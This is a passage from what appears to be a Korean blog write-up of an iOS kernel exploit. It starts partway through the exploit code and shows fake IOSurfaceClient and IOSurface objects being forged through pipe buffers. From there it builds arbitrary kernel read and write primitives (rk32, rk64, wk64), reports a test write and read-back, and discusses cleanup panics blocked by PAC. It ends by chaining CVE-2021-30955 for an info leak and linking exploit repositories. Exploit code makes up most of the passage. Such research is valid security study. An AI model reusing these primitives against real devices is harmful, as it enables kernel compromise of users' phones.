        *(uint64_t*)((gBuf + 0x2000) + 0x40) = (gBuf_kspace + 0x4000-0x10) - 0xb4;  //gBuf + 0x2000 = fake_IOSC; will read from (gBuf_kspace + 0x4000-0x10)
        *(uint16_t *)(gBuf + 0x4000 - 0x10) = pipefds[2 * i];   //to determine which pipefd will be used for krw
        *(uint16_t *)(gBuf + 0x4000 - 0x10 + 2) = pipefds[2 * i + 1];   //to determine which pipefd will be used for krw
        write(pipefds[2 * i + 1], gBuf, 0x4000-1);
    }
    uint32_t pipefd_leak;
    int ret = IOSurface_get_ycbcrmatrix(IOSRUC[1], surfaces[1][0], &pipefd_leak);
    rfd = pipefd_leak & 0xffff;
    wfd = (pipefd_leak >> 16) & 0xFFFF;
    printf("[i] pipefd_leak = 0x%x, rfd = 0x%x, wfd = 0x%x\n", pipefd_leak, rfd, wfd);
    getchar();

    //restore
    for(int i = 0; i < pipe_count; i++) {
        read(pipefds[2 * i], gBuf, 0x4000);
        *(uint64_t*)((gBuf + 0x2000) + 0x40) = (uint64_t)(gBuf_kspace+0x3000);
        write(pipefds[2 * i + 1], gBuf, 0x4000-1);
    }
    ...
}

void exploit() {
                    ...   
                    struct vm_map_copy *copy = gBuf;     
                    ...
                    
                    fake_IOSC = gBuf + 0x2000; // fake IOSurfaceClient
                    fake_IOS = gBuf + 0x3000; // fake IOSurface
                    
                    *(uint64_t*)(fake_IOS + 0x358) = (uint64_t)(gBuf_kspace+0x2000) + 0x1000; // fake timestamp array = fake ycbcrmatrix array
                    *(uint64_t*)(fake_IOSC + 0x40) = (uint64_t)(gBuf_kspace+0x3000);                            
                    ...
                    printf("[*] Wrote fake IOSurfaceClient ptr\n");
                    mach_port_destroy(mach_task_self(), dest);
                    ...
}

쉽게 이해하기 위해 그림으로 나타내면 아래와 같다.

하나의 IOSurfaceClient 객체 내용을 파이프 읽기/쓰기로 제어함으로써, +0x40 오프셋에 위치한 IOSurface 또한 쉽게 제어할 수 있다. IOSurface_obj+0xb4에 기록된 pipe 파일 디스크립터 값을 IOSurfaceRootUserClient::s_get_ycbcrmatrix 셀렉터를 호출하여 읽을 수 있다.

Drawing 2026-01-25 15.17.40.excalidraw-fs8.png

8. 커널 읽기/쓰기

커널 쓰기에서는 IOSurfaceRootUserClient::s_set_indexed_timestamp 셀렉터, 커널 읽기에서는 IOSurfaceRootUserClient::s_get_ycbcrmatrix 셀럭터를 이용한다.

마찬가지로, 파이프 읽기/쓰기를 통해 IOSurfaceClient 객체 내용을 제어하여, 해당 객체에서 가라키는 IOSurface 객체내용 마저 제어할 수 있다.

KHEAP_DATA_MAPPABLE_LOC+0x4000-0x20, 즉 0xfffffe2287d83fe0 커널 주소에다가 0x4142434445464748라는 임의 값을 쓴다. 그리고 해당 주소에서 읽었을때 값이 0x4142434445464748로 나온다면, 커널 읽기/쓰기를 달성하는데 성공한 것이라고 볼 수 있다.

>>> hex(0xfffffe2287d80000 + 0x4000 - 0x20)
'0xfffffe2287d83fe0'
void after_thread(int *pipefds) {
    ...

    uint64_t kptr = KHEAP_DATA_MAPPABLE_LOC + 0x4000 - 0x20;
    wk64(kptr, 0x4142434445464748);
    printf("[i] Wrote: 0x%llx\n", 0x4142434445464748);
    printf("[i] Read back: 0x%llx -> 0x%llx\n", kptr, rk64(kptr));
    printf("[i] Unfortunately, there's no cleanup for this exploit...\n");
    printf("[i] anyway done, spinning here!\n\n");
    while(1) {};
}

// these are racy, should put locks, but this is just an exploit, so idc
uint32_t rk32(uint64_t addr) {
    read(rfd, gBuf, 0x4000);
    *(uint64_t*)(fake_IOSC + 0x40) = addr - 0xb4;
    write(wfd, gBuf, 0x4000-1);

    uint32_t val;
    int ret = IOSurface_get_ycbcrmatrix(IOSRUC[1], surfaces[1][0], &val);

    read(rfd, gBuf, 0x4000);
    *(uint64_t*)(fake_IOSC + 0x40) = (uint64_t)fake_IOS;
    write(wfd, gBuf, 0x4000-1);
    
    if (ret) {
        printf("[-][rk32] Error get_ycbcrmatrix: %s\n", mach_error_string(ret));
        return 0;
    }
    return val;
}

uint64_t rk64(uint64_t addr) {
    uint32_t val1 = rk32(addr);
    uint64_t val2 = rk32(addr + 4);
    uint64_t val64 = val1 | (val2 << 32);
    return val64;
}

int wk64(uint64_t addr, uint64_t what) {
    read(rfd, gBuf, 0x4000);
    *(uint64_t*)(fake_IOS + 0x358) = addr;
    write(wfd, gBuf, 0x4000-1);

    int ret = IOSurface_set_indexed_timestamp(IOSRUC[1], surfaces[1][0], 0, what);

    read(rfd, gBuf, 0x4000);
    *(uint64_t*)(fake_IOS + 0x358) = (uint64_t)fake_IOS + 0x1000;
    write(wfd, gBuf, 0x4000-1);

    if (ret) {
        printf("[-][wk64] Error set_indexed_timestamp: %s\n", mach_error_string(ret));
        return ret;
    }
    return 0;
}

void exploit() {
                    ...   
                    struct vm_map_copy *copy = gBuf;     
                    ...
                    
                    fake_IOSC = gBuf + 0x2000; // fake IOSurfaceClient
                    fake_IOS = gBuf + 0x3000; // fake IOSurface
                    
                    *(uint64_t*)(fake_IOS + 0x358) = (uint64_t)(gBuf_kspace+0x2000) + 0x1000; // fake timestamp array = fake ycbcrmatrix array
                    *(uint64_t*)(fake_IOSC + 0x40) = (uint64_t)(gBuf_kspace+0x3000);                            
                    ...
                    printf("[*] Wrote fake IOSurfaceClient ptr\n");
                    mach_port_destroy(mach_task_self(), dest);
                    ...
}

마찬가지로, 이해하기 위해 그림으로 나타내면 아래와 같다.

Drawing 2026-01-25 15.17.40.excalidraw 1-fs8.png

익스플로잇 정리 작업에 관하여…

mach_port_destroy 함수를 수행할때 내부적으로 ipc_kmsg_free 에서 kmsg->ikm_datakmsg->ikm_header 바운드 체크를 하고 있다.

이전 6번 과정에서 vm_ampping_object_wait에서 무한 대기하기 위해 mapping_in_progress 세트를 해제시키고 계속 실행시키게끔 만든다면, 바운드 체크 실패로 인하여 ipc_kmsg_free 패닉이 발생한다.

image.png

그렇다면, ikm_header 필드값과 ikm_data 필드값을 수정해보면 해결되지 않을까 싶어서 확인해봤더니 안타깝게도 PAC 서명으로 인해 함부로 수정하지 못한다.

image.png

Screenshot 2026-01-25 at 4.28.48 PM.png

+보너스) multicast_bytecopy_A9

https://github.com/wh1te4ever/multicast_bytecopy_A9

아이폰 6s 기기는 multicast_bytecopy 익스플로잇이 엄청 낮은 확률로 작동한다.

해당 익스플로잇은 수행 과정에서 커널 메모리를 KHEAP_DATA_BUFFERS/KHEAP_DEFAULT등 서로 다른 타입으로 스프레이한다. 기존에 지원했던 기기들의 경우, 해당 타입들에 대한 거의 항상 동일한 커널 주소를 확보할 수 있었다. (KHEAP_DATA_MAPPABLE_LOCKHEAP_DEFAULT_MAPPABLE_LOC 매크로 참조).

하지만 지원되지 않는 기기 중 하나인 아이폰6s에서는 프로파일링 결과, 동일한 커널 주소를 얻을 확률이 매우 낮았다.

따라서 info leak용으로 CVE-2021-30955 취약점을 체이닝시켜 개선시켰다.

하나의 default.kalloc.0x4000 할당주소를 leak시킬 수 있기 때문에, 높은 확률로 해당 KHEAP_DATA_BUFFERS/KHEAP_DEFAULT 타입들에 대한 커널 주소를 구할 수 있다.

참고 자료

https://github.com/b1n4r1b01/desc_race

https://web.archive.org/web/20220223071138/https://www.cyberkl.com/cvelist/cvedetail/24

https://gist.github.com/jakeajames/37f72c58c775bfbdda3aa9575149a8aa